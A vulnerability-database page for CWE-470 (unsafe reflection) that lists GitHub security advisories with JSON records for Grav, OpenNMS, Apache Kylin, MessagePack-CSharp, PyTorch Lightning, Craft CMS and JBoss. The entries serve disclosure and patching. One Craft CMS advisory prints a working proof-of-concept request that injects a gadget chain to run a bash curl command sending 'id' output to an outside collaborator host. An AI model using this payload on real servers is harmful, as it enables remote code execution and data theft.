Common Weakness Enumeration

CWE-470

Allowed

Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.

152 vulnerabilities reference this CWE, most recent first.

GHSA-PP9R-PPC4-25W4

Vulnerability from github – Published: 2026-07-23 12:32 – Updated: 2026-07-23 12:32
VLAI
Details

Grav versions >= 1.7.0 and before 2.0.9 contain a remote code execution vulnerability. FlexDirectory::dynamicDataField() resolves blueprint data-*@: directives by calling call_user_func_array() on attacker-influenced input, validating only that the target is callable (is_callable()) without restricting dangerous functions such as exec, system, passthru, or shell_exec. Because FlexDirectory registers this handler for every Flex directory, it bypasses the validation added to Blueprint::dynamicData() in 2.0.7 (GHSA-fj2p-qj2f-74v5). Any authenticated user with create or update permission on any Flex-based directory (Flex Users, Flex Pages, Flex Objects, or custom Flex types) can execute arbitrary shell commands on the server.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
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{
  "affected": [],
  "aliases": [
    "CVE-2026-65608"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-23T12:18:47Z",
    "severity": "HIGH"
  },
  "details": "Grav versions \u003e= 1.7.0 and before 2.0.9 contain a remote code execution vulnerability. FlexDirectory::dynamicDataField() resolves blueprint data-*@: directives by calling call_user_func_array() on attacker-influenced input, validating only that the target is callable (is_callable()) without restricting dangerous functions such as exec, system, passthru, or shell_exec. Because FlexDirectory registers this handler for every Flex directory, it bypasses the validation added to Blueprint::dynamicData() in 2.0.7 (GHSA-fj2p-qj2f-74v5). Any authenticated user with create or update permission on any Flex-based directory (Flex Users, Flex Pages, Flex Objects, or custom Flex types) can execute arbitrary shell commands on the server.",
  "id": "GHSA-pp9r-ppc4-25w4",
  "modified": "2026-07-23T12:32:30Z",
  "published": "2026-07-23T12:32:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-c4wf-2xxc-68qm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65608"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/fae9e1bf2c40ce0b50d0dfce647aaa1d22f98969"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-before-remote-code-execution-via-flexdirectory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PQ9P-WFFW-C523

Vulnerability from github – Published: 2023-09-11 21:30 – Updated: 2024-04-04 07:36
VLAI
Details

In multiple locations, there is a possible way to import contacts belonging to other users due to a confused deputy. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2023-35680"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-11T21:15:42Z",
    "severity": "MODERATE"
  },
  "details": "In multiple locations, there is a possible way to import contacts belonging to other users due to a confused deputy. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-pq9p-wffw-c523",
  "modified": "2024-04-04T07:36:50Z",
  "published": "2023-09-11T21:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-35680"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/packages/services/Telephony/+/674039e70e1c5bf29b808899ac80c709acc82290"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2023-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q2R2-4MH9-4268

Vulnerability from github – Published: 2026-08-13 06:33 – Updated: 2026-08-13 06:33
VLAI
Details

A JEXL expression sandbox bypass exists in multiple versions of OpenNMS Meridian and Horizon. A low-privileged authenticated user can submit a crafted expression to the Measurements REST API that escapes the sandbox and loads arbitrary Java classes on the server. This can potentially allow an attacker to gain access to confidential information and compromise integrity.

The solution is to upgrade to Meridian 2024.3.12, 2025.0.9 and Horizon 36.0.3 or newer. Meridian and Horizon installation instructions state that they are intended for installation within an organization's private networks and should not be directly accessible from the Internet.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-19135"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-13T05:17:22Z",
    "severity": "MODERATE"
  },
  "details": "A JEXL expression sandbox bypass exists in multiple versions of OpenNMS Meridian and Horizon. A low-privileged authenticated user can submit a crafted expression to the Measurements REST API that escapes the sandbox and loads arbitrary Java classes on the server. This can potentially allow an attacker to gain access to confidential information and compromise integrity.\n\nThe solution is to upgrade to Meridian 2024.3.12, 2025.0.9 and Horizon 36.0.3 or newer. Meridian and Horizon installation instructions state that they are intended for installation within an organization\u0027s private networks and should not be directly accessible from the Internet.",
  "id": "GHSA-q2r2-4mh9-4268",
  "modified": "2026-08-13T06:33:50Z",
  "published": "2026-08-13T06:33:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19135"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenNMS/opennms/pull/8754"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q656-G2X3-8CGH

Vulnerability from github – Published: 2022-01-08 00:43 – Updated: 2022-01-07 23:21
VLAI
Summary
Kylin can receive user input and load any class through Class.forName(...).
Details

Kylin can receive user input and load any class through Class.forName(...). This issue affects Apache Kylin 2 version 2.6.6 and prior versions; Apache Kylin 3 version 3.1.2 and prior versions; Apache Kylin 4 version 4.0.0 and prior versions.

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.kylin:kylin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.kylin:kylin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "4.0.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2021-31522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-01-07T23:21:51Z",
    "nvd_published_at": "2022-01-06T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Kylin can receive user input and load any class through Class.forName(...). This issue affects Apache Kylin 2 version 2.6.6 and prior versions; Apache Kylin 3 version 3.1.2 and prior versions; Apache Kylin 4 version 4.0.0 and prior versions.",
  "id": "GHSA-q656-g2x3-8cgh",
  "modified": "2022-01-07T23:21:51Z",
  "published": "2022-01-08T00:43:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/kylin/pull/1695"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/kylin/pull/1763"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/kylin"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/hh5crx3yr701zd8wtpqo1mww2rlkvznw"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/01/06/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Kylin can receive user input and load any class through Class.forName(...)."
}

GHSA-QHMF-XW27-6RQR

Vulnerability from github – Published: 2026-06-25 21:31 – Updated: 2026-06-25 21:31
VLAI
Summary
MessagePack-CSharp: Typeless deserialization type restrictions do not recurse into arrays or generic arguments
Details

Summary

MessagePack-CSharp's typeless deserialization includes MessagePackSerializerOptions.ThrowIfDeserializingTypeIsDisallowed(Type) as a safety check for dangerous types. The default implementation checks the outer type name, but it does not recursively inspect array element types or generic type arguments.

As a result, a type that would be blocked directly can be wrapped inside an array or constructed generic type and pass the outer type check. The formatter machinery can then materialize formatters for the inner blocked type.

Impact

Applications are affected when they deserialize untrusted payloads using typeless serialization features such as MessagePackSerializer.Typeless, TypelessObjectResolver, or related typeless resolver options.

Typeless deserialization is already a high-risk feature for untrusted data, but the presence of a disallowed-type hook creates an expectation that blocked types remain blocked. This issue weakens that mitigation because the check is not applied structurally to nested type components. An attacker who can supply typeless ext-100 payloads may bypass exact outer-type blocklist checks by naming wrapper types such as arrays or generic containers.

The consequence depends on which type is reached and what the application allows typeless deserialization to instantiate. The original findings describe bypasses involving blocked or user-blocklisted gadget types.

Affected components

  • Package: MessagePack
  • Feature: typeless deserialization
  • APIs: MessagePackSerializerOptions.ThrowIfDeserializingTypeIsDisallowed, TypelessFormatter
  • Finding IDs: MESSAGEPACKCSHARP-030, duplicate/open variant MESSAGEPACKCSHARP-OPEN-007

Patches

Fixes are available via versions 2.5.301 and 3.1.7.

Upgrade guidance:

  1. Upgrade MessagePack to the patched version for your release line.
  2. Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.

The fix should apply type-disallow checks recursively to array element types, pointer/byref element types where applicable, nullable underlying types, and constructed generic type arguments. Formatter paths that materialize types supplied by the wire should not instantiate inner types that fail the configured policy.

Workarounds

Patching is recommended.

Avoid typeless deserialization for untrusted data. If typeless support is unavoidable, configure an explicit allowlist that rejects any type not approved by the application and ensure the allowlist recursively validates array elements and generic arguments. Do not rely on exact outer-type blocklists as a complete security boundary.

Resources

  • MESSAGEPACKCSHARP-030: typeless disallowed-type check is not recursive
  • MESSAGEPACKCSHARP-OPEN-007: duplicate/open finding for typeless blocklist gaps
  • CWE-502: Deserialization of Untrusted Data
  • CWE-470: Use of Externally-Controlled Input to Select Classes or Code

CVE split rationale

This vulnerability is independently fixable in typeless type-policy enforcement. It is separate from MVC default options, collection allocation, LZ4 decoding, and recursion-depth issues.

Severity
6.3 (Medium)
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "MessagePack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.301"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "MessagePack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0"
            },
            {
              "fixed": "3.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470",
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-25T21:31:13Z",
    "nvd_published_at": "2026-06-22T22:16:48Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nMessagePack-CSharp\u0027s typeless deserialization includes `MessagePackSerializerOptions.ThrowIfDeserializingTypeIsDisallowed(Type)` as a safety check for dangerous types. The default implementation checks the outer type name, but it does not recursively inspect array element types or generic type arguments.\n\nAs a result, a type that would be blocked directly can be wrapped inside an array or constructed generic type and pass the outer type check. The formatter machinery can then materialize formatters for the inner blocked type.\n\n## Impact\n\nApplications are affected when they deserialize untrusted payloads using typeless serialization features such as `MessagePackSerializer.Typeless`, `TypelessObjectResolver`, or related typeless resolver options.\n\nTypeless deserialization is already a high-risk feature for untrusted data, but the presence of a disallowed-type hook creates an expectation that blocked types remain blocked. This issue weakens that mitigation because the check is not applied structurally to nested type components. An attacker who can supply typeless ext-100 payloads may bypass exact outer-type blocklist checks by naming wrapper types such as arrays or generic containers.\n\nThe consequence depends on which type is reached and what the application allows typeless deserialization to instantiate. The original findings describe bypasses involving blocked or user-blocklisted gadget types.\n\n## Affected components\n\n- Package: `MessagePack`\n- Feature: typeless deserialization\n- APIs: `MessagePackSerializerOptions.ThrowIfDeserializingTypeIsDisallowed`, `TypelessFormatter`\n- Finding IDs: `MESSAGEPACKCSHARP-030`, duplicate/open variant `MESSAGEPACKCSHARP-OPEN-007`\n\n## Patches\n\nFixes are available via versions 2.5.301 and 3.1.7.\n\nUpgrade guidance:\n\n1. Upgrade `MessagePack` to the patched version for your release line.\n2. Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.\n\nThe fix should apply type-disallow checks recursively to array element types, pointer/byref element types where applicable, nullable underlying types, and constructed generic type arguments. Formatter paths that materialize types supplied by the wire should not instantiate inner types that fail the configured policy.\n\n## Workarounds\n\nPatching is recommended.\n\nAvoid typeless deserialization for untrusted data. If typeless support is unavoidable, configure an explicit allowlist that rejects any type not approved by the application and ensure the allowlist recursively validates array elements and generic arguments. Do not rely on exact outer-type blocklists as a complete security boundary.\n\n## Resources\n\n- `MESSAGEPACKCSHARP-030`: typeless disallowed-type check is not recursive\n- `MESSAGEPACKCSHARP-OPEN-007`: duplicate/open finding for typeless blocklist gaps\n- CWE-502: Deserialization of Untrusted Data\n- CWE-470: Use of Externally-Controlled Input to Select Classes or Code\n\n## CVE split rationale\n\nThis vulnerability is independently fixable in typeless type-policy enforcement. It is separate from MVC default options, collection allocation, LZ4 decoding, and recursion-depth issues.",
  "id": "GHSA-qhmf-xw27-6rqr",
  "modified": "2026-06-25T21:31:13Z",
  "published": "2026-06-25T21:31:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp/security/advisories/GHSA-qhmf-xw27-6rqr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48517"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MessagePack-CSharp: Typeless deserialization type restrictions do not recurse into arrays or generic arguments"
}

GHSA-QQMF-GPG7-G8GW

Vulnerability from github – Published: 2026-07-15 18:31 – Updated: 2026-07-15 18:31
VLAI
Details

PyTorch Lightning through 2.6.5, fixed in commit d710d68, contains a remote code execution vulnerability in the _load_state function that imports and executes attacker-controlled module names from checkpoint _instantiator hyperparameters. Attackers can craft malicious checkpoint files that bypass weights_only=True protections to execute arbitrary code when LightningModule.load_from_checkpoint is called.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.4 (High)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-58659"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-15T18:16:48Z",
    "severity": "HIGH"
  },
  "details": "PyTorch Lightning through 2.6.5, fixed in commit d710d68, contains a remote code execution vulnerability in the _load_state function that imports and executes attacker-controlled module names from checkpoint _instantiator hyperparameters. Attackers can craft malicious checkpoint files that bypass weights_only=True protections to execute arbitrary code when LightningModule.load_from_checkpoint is called.",
  "id": "GHSA-qqmf-gpg7-g8gw",
  "modified": "2026-07-15T18:31:58Z",
  "published": "2026-07-15T18:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58659"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Lightning-AI/pytorch-lightning/issues/21822"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Lightning-AI/pytorch-lightning/pull/21832"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Lightning-AI/pytorch-lightning/commit/d710d689510d50e800f53b3cd773cbca20b1f86f"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/pytorch-lightning-arbitrary-code-execution-via-instantiator-hyperparameter"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-QRGM-P9W5-RRFW

Vulnerability from github – Published: 2026-05-06 17:54 – Updated: 2026-05-13 16:29
VLAI
Summary
Craft CMS has Potential Authenticated Remote Code Execution via Malicious Attached Behavior
Details

We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. Yii’s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list.

This is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original.

The request-controlled condition field layouts data is converted into a live FieldLayout object without a Component::cleanseConfig() boundary. Because Craft configures models before parent::__construct(), attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event.

This appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path.

We were able to reproduce the attack by issuing a POST request to /admin/actions/element-search/search with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same beforeAction() path. This results in a curl request to the chosen server with the result of the command “id” for the web user being appended to the path:

``` POST /admin/actions/element-search/search HTTP/2 Host: hostnamehere Cookie: CraftSessionId=...; 1234123412341234_identity=...; CRAFT_CSRF_TOKEN=...; Content-Length: … User-Agent: Mozilla/5.0 X-Csrf-Token: ... Accept: application/json Content-Type: application/json

{

"elementType": "craft\elements\Category", "siteId": 1, "search": "", "condition": { "class": "craft\elements\conditions\ElementCondition", "elementType": "craft\elements\Category", "fieldLayouts": [ { "as rce": { "__class": "yii\behaviors\AttributeTypecastBehavior", "__construct()": [ { "attributeTypes": { "typecastBeforeSave": [ "Psy\Readline\Hoa\ConsoleProcessus", "execute" ] }, "typecastBeforeSave": "/bin/bash -c \"curl [https://yourcollaboratorservergoeshere/id](https://yourcollaboratorservergoeshere/%60id%60/)"" } ] }, "on *": "self::beforeSave" } ] } } ```

Resources

https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3

Severity
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.17.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.9.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44011"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470",
      "CWE-479"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T17:54:06Z",
    "nvd_published_at": "2026-05-12T21:16:15Z",
    "severity": "HIGH"
  },
  "details": "We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server.  Yii\u2019s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list.\n\nThis is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original.\n\nThe request-controlled condition field layouts data is converted into a live FieldLayout object without a `Component::cleanseConfig()` boundary. Because Craft configures models before `parent::__construct()`, attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event.\n\nThis appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path.\n\nWe were able to reproduce the attack by issuing a POST request to `/admin/actions/element-search/search` with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same `beforeAction()` path. This results in a curl request to the chosen server with the result of the command \u201cid\u201d for the web user being appended to the path:\n\n ```\nPOST /admin/actions/element-search/search HTTP/2\nHost: hostnamehere\nCookie: CraftSessionId=...; 1234123412341234_identity=...; CRAFT_CSRF_TOKEN=...;\nContent-Length: \u2026\nUser-Agent: Mozilla/5.0\nX-Csrf-Token: ...\nAccept: application/json\nContent-Type: application/json\n\n{\n\n  \"elementType\": \"craft\\\\elements\\\\Category\",\n  \"siteId\": 1,\n  \"search\": \"\",\n  \"condition\": {\n    \"class\": \"craft\\\\elements\\\\conditions\\\\ElementCondition\",\n    \"elementType\": \"craft\\\\elements\\\\Category\",\n    \"fieldLayouts\": [\n      {\n        \"as rce\": {\n          \"__class\": \"yii\\\\behaviors\\\\AttributeTypecastBehavior\",\n          \"__construct()\": [\n            {\n              \"attributeTypes\": {\n                \"typecastBeforeSave\": [\n                  \"Psy\\\\Readline\\\\Hoa\\\\ConsoleProcessus\",\n                  \"execute\"\n                ]\n              },\n              \"typecastBeforeSave\": \"/bin/bash -c \\\"curl [https://yourcollaboratorservergoeshere/`id`\\](https://yourcollaboratorservergoeshere/%60id%60/)\"\"\n            }\n          ]\n        },\n        \"on *\": \"self::beforeSave\"\n      }\n    ]\n  }\n}\n```\n\n## Resources\n\nhttps://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3",
  "id": "GHSA-qrgm-p9w5-rrfw",
  "modified": "2026-05-13T16:29:16Z",
  "published": "2026-05-06T17:54:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-qrgm-p9w5-rrfw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44011"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS has Potential Authenticated Remote Code Execution via Malicious Attached Behavior"
}

GHSA-QX2Q-Q59V-WF3J

Vulnerability from github – Published: 2026-03-16 18:12 – Updated: 2026-03-16 21:57
VLAI
Summary
Craft CMS vulnerable to behavior injection RCE via EntryTypesController
Details

The fix for GHSA-7jx7-3846-m7w7 (commit 395c64f0b80b507be1c862a2ec942eaacb353748) only patched src/services/Fields.php, but the same vulnerable pattern exists in EntryTypesController::actionApplyOverrideSettings().

In src/controllers/EntryTypesController.php lines 381-387:

$settingsStr = $this->request->getBodyParam('settings');
parse_str($settingsStr, $postedSettings);
$settingsNamespace = $this->request->getRequiredBodyParam('settingsNamespace');
$settings = array_filter(ArrayHelper::getValue($postedSettings, $settingsNamespace, []));

if (!empty($settings)) {
    Craft::configure($entryType, $settings);

The $settings array from parse_str is passed directly to Craft::configure() without Component::cleanseConfig(). This allows injecting Yii2 behavior/event handlers via as or on prefixed keys, the same attack vector as the original advisory.

You need Craft control panel administrator permissions, and allowAdminChanges must be enabled for this to work.

An attacker can use the same gadget chain from the original advisory to achieve RCE.

Users should update to Craft 5.9.11 to mitigate the issue.

Severity
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.9.10"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.6.0"
            },
            {
              "fixed": "5.9.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32263"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T18:12:32Z",
    "nvd_published_at": "2026-03-16T20:16:19Z",
    "severity": "HIGH"
  },
  "details": "The fix for GHSA-7jx7-3846-m7w7 (commit 395c64f0b80b507be1c862a2ec942eaacb353748) only patched `src/services/Fields.php`, but the same vulnerable pattern exists in `EntryTypesController::actionApplyOverrideSettings()`.\n\nIn `src/controllers/EntryTypesController.php` lines 381-387:\n\n```php\n$settingsStr = $this-\u003erequest-\u003egetBodyParam(\u0027settings\u0027);\nparse_str($settingsStr, $postedSettings);\n$settingsNamespace = $this-\u003erequest-\u003egetRequiredBodyParam(\u0027settingsNamespace\u0027);\n$settings = array_filter(ArrayHelper::getValue($postedSettings, $settingsNamespace, []));\n\nif (!empty($settings)) {\n    Craft::configure($entryType, $settings);\n```\n\nThe `$settings` array from `parse_str` is passed directly to `Craft::configure()` without `Component::cleanseConfig()`. This allows injecting Yii2 behavior/event handlers via `as ` or `on ` prefixed keys, the same attack vector as the original advisory.\n\nYou need Craft control panel administrator permissions, and `allowAdminChanges` must be enabled for this to work.\n\nAn attacker can use the same gadget chain from the original advisory to achieve RCE.\n\nUsers should update to Craft 5.9.11 to mitigate the issue.",
  "id": "GHSA-qx2q-q59v-wf3j",
  "modified": "2026-03-16T21:57:33Z",
  "published": "2026-03-16T18:12:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-7jx7-3846-m7w7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-qx2q-q59v-wf3j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32263"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/d37389dbffafa565143be40a2ab1e1db22a863f7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS vulnerable to behavior injection RCE via EntryTypesController"
}

GHSA-R4H2-77R7-2XCH

Vulnerability from github – Published: 2022-05-24 16:57 – Updated: 2024-04-04 02:08
VLAI
Details

It was found that the fix for CVE-2014-0114 had been reverted in JBoss Operations Network 3 (JON). This flaw allows attackers to manipulate ClassLoader properties on a vulnerable server. Exploits that have been published rely on ClassLoader properties that are exposed such as those in JON 3. Additional information can be found in the Red Hat Knowledgebase article: https://access.redhat.com/site/solutions/869353. Note that while multiple products released patches for the original CVE-2014-0114 flaw, the reversion described by this CVE-2019-3834 flaw only occurred in JON 3.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
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{
  "affected": [],
  "aliases": [
    "CVE-2019-3834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-03T14:15:00Z",
    "severity": "HIGH"
  },
